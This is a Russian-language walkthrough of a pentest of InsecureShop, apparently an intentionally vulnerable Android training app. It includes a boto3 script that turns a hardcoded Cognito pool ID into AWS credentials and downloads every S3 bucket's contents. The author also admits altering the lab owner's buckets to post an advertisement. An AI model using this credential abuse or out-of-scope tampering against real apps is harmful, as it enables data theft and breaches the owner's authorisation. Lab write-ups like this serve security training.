InsecureShop - mobile pentest
Код и билд приложения можно найти тут, а хинты на уязвимости тут.
Подготовка
Закидываем апк в MobSF и спустя 10 минут получаем следующие:
- захардкоженные креды
"aws_Identity_pool_ID" : "us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c" - Application signed with a debug certificate
- Debugging was enabled on the app
Анализ можно найти тут
Скан nuclei:
[android-debug-enabled] [file] [low] app/resources/AndroidManifest.xml
[adb-backup-enabled] [file] [low] app/resources/AndroidManifest.xml
[aws-cognito-pool] [file] [info] app/resources/res/values/strings.xml [us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c] [LN: 33]
[insecure-provider-path] [file] [medium] app/resources/res/xml/provider_paths.xml
AWS Cognito Misconfiguration
Попробуем с помощью кредов для aws cognito, которые вытащили с помощью mobsf, добраться до s3:
import boto3
client = boto3.client("cognito-identity", region_name='us-east-1')
IdentityId = client.get_id(IdentityPoolId="us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c")['IdentityId']
creds = client.get_credentials_for_identity(IdentityId=IdentityId)['Credentials']
session = boto3.Session(
aws_access_key_id=creds["AccessKeyId"],
aws_secret_access_key=creds["SecretKey"],
aws_session_token=creds["SessionToken"],
)
s3 = session.resource("s3")
Ура! Ошибок, связанных с отсутствием прав, не получаем, следовательно мы завладели S3. Получим список корзин:
list(s3.buckets.all())
# [s3.Bucket(name='84r4ppx76qhqj4bsgu8w'),
# s3.Bucket(name='elasticbeanstalk-us-west-2-094222047775'),
# s3.Bucket(name='testbucket4prac')]
Выкачаем из них все файлы:
for bucket in s3.buckets.all():
for obj in bucket.objects.all():
print(bucket.name + ": " + obj.key)
bucket.download_file(obj.key, obj.key)
# 84r4ppx76qhqj4bsgu8w: Congratulations.txt
# testbucket4prac: cat.png
# testbucket4prac: notcat.png
В пнгшках лежат котики, а в Congratulations.txt содержится поздравление.

Мисконфиг в мисконфиге
Автор таска неправильно сконфигурировал привелегии пользователя, из-за чего я смог удалять/создавать/изменять корзины и их содержимое. Я разместил там рекламу канала. Надеюсь, что автор на это не обидится.
Hardcoded Credentials
В com.insecureshop.util.Util находим захардкоженные креды, с помощью которых можем войти в приложение.

Vulnerable library
Приложение использует библиотеку net.gotenv.uploadservice уязвимой версии 3.2.3, репорт можно найти тут

Last modified on 2022-03-23